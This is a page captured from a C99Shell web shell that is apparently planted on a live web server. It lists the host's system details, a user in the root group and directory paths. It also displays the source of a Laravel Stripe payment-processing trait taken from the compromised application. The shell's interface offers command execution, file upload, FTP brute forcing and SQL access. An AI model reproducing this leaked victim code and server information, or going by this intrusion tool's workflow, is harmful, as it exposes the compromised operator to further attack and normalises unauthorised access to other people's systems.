!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/app/Traits/Payments/   drwxr-xr-x
Free 26.35 GB of 117.98 GB (22.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     HasStripe.php (4.92 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Traits\Payments;
use 
Illuminate\Support\Facades\Validator;
use 
Laravel\Cashier\Exceptions\PaymentActionRequired;
use 
Laravel\Cashier\Exceptions\PaymentFailure;
use 
Laravel\Cashier\Exceptions\IncompletePayment;
use 
Stripe\Charge;
use 
Stripe\Customer;
use 
Stripe\Stripe;

trait 
HasStripe
{
    public function 
paymentRules(){
        return [
'stripe_token' => ['required']];
    }

    public function 
payOrder(){
        try {
            
$total_price = (int) (($this->order->order_price_with_discount $this->order->delivery_price) * 100);
            
$chargeOptions = [];
            
            
//Setup based on vendor
            
if(config('settings.stripe_useVendor')){
                
                
Stripe::setClientId($this->vendor->getConfig('stripe_key',''));
                
Stripe::setApiKey($this->vendor->getConfig('stripe_secret',''));
                
config(['settings.stripe_key' => $this->vendor->getConfig('stripe_key','')]);
                
config(['settings.stripe_secret' => $this->vendor->getConfig('stripe_secret','')]);
                
config(['cashier.key' => $this->vendor->getConfig('stripe_key')]);
                
config(['cashier.secret' => $this->vendor->getConfig('stripe_secret')]);
                
            } else if (
config('settings.enable_stripe_connect') && $this->vendor->user->stripe_account) {
                
$chargeOptions=$this->stripeConnect();
            }

            
$chargeOptions['currency']=$this->vendor->currency;
            
//User to apply the charge to
            
$user=auth()->user()?auth()->user():$this->vendor->user;

            if(
$this->order->isMobileOrder){
                
//Mobile Order
                
$srtipe_payment_id=$this->mobileCharge($total_price,$chargeOptions,$user);
            }else {
                
//Web order
                
$srtipe_payment_id=$this->webCharge($total_price,$chargeOptions,$user);
            }
    
            
    
            
$this->order->srtipe_payment_id $srtipe_payment_id;
            
$this->order->payment_status 'paid';
            
$this->order->payment_processor_fee = ($total_price config('settings.stripe_fee')/10000) + config('settings.stripe_static_fee');
            
$this->order->update();
        }catch (
PaymentActionRequired $e) {
            
//On PaymentActionRequired  3D secure - send the checkout link
            
$this->paymentRedirectroute('cashier.payment',[$e->payment->id'redirect' => route('handle.order.payment.stripe',['order'=> $this->order->id])]);

            
//Set payment link in order
            
$this->order->payment_link=$this->paymentRedirect;
            
$this->order->update();

        }catch (
IncompletePayment $e) {
            
//On IncompletePayment - SCA - send the checkout link
            
$this->paymentRedirectroute('cashier.payment',[$e->payment->id'redirect' => route('handle.order.payment.stripe',['order'=> $this->order->id])]);

            
//Set payment link in order
            
$this->order->payment_link=$this->paymentRedirect;
            
$this->order->update();

        }catch (
PaymentFailure $e) {
            
//On Fail delete order and inform user
            
$this->invalidateOrder();
            return 
Validator::make(['stripe_payment_failure'=>null], ['stripe_payment_failure'=>'required']);
        }
    
        
//In Stripe there is no payment - Return empty validator
        
return Validator::make([], []);
    }

    public function 
webCharge($total_price,$chargeOptions,$user){
        return 
$user->charge($total_price$this->request->stripe_token$chargeOptions)->id;
    }

    public function 
mobileCharge($total_price,$chargeOptions,$user){
        
Stripe::setApiKey(config('settings.stripe_secret'));

        
$customer Customer::create([
            
'email' =>$user->email,
            
'source'  => $this->request->stripe_token,
        ]);

        
$charge Charge::create([
            
'customer' => $customer->id,
            
'amount'   => $total_price,
            
'currency' => config('settings.cashier_currency'),
        ]);
        return 
$charge->id;
    }

    public function 
stripeConnect(){
        
        
$application_fee_amount 0;

        
//Delivery fee, only in FoodTiger
        
if(config('app.isft',true)){
            
$application_fee_amount += (int) (($this->order->delivery_price));
        }
        
        
        
//Static fee
        
$application_fee_amount += (float) $this->order->static_fee;

        
//Percentage fee
        
$application_fee_amount += (float) $this->order->fee_value;

        
//Make it for stripe
        
$application_fee_amount = (int) (float) ($application_fee_amount 100);

        
//Create the charge object
        
$chargeOptions = [
            
'application_fee_amount' => $application_fee_amount,
            
'currency' => config('settings.cashier_currency'),
            
'transfer_data' => [
                
'destination' => $this->vendor->user->stripe_account.'',
            ],
        ];
        return 
$chargeOptions;
    }

    
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0057 ]--